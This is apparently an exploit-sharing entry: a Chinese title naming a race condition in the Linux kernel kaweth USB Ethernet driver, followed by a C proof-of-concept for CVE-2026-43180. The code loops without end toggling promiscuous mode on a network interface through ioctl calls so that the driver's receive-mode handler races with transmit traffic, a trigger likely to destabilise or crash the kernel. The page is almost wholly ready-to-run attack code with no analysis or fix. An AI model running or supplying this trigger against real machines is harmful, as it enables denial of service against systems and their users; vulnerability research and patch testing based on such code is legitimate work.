Linux kernel kaweth驱动竞态条件漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <linux/if.h> /* * PoC for CVE-2026-43180 * Trigger: Rapidly changing interface flags to invoke kaweth_set_rx_mode * while TX traffic is potentially active. */ int main() { int sock; struct ifreq ifr; char *iface = "eth0"; // Change to target interface name if needed sock = socket(AF_INET, SOCK_DGRAM, 0); if (sock < 0) { perror("socket"); return 1; } memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, iface, IFNAMSIZ - 1); printf("[+] Starting PoC for CVE-2026-43180 on %s...\n", iface); while(1) { if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0) { perror("ioctl get"); break; } // Toggle IFF_PROMISC to trigger ndo_set_rx_mode -> kaweth_set_rx_mode ifr.ifr_flags ^= IFF_PROMISC; if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0) { perror("ioctl set"); break; } usleep(100); } close(sock); return 0; }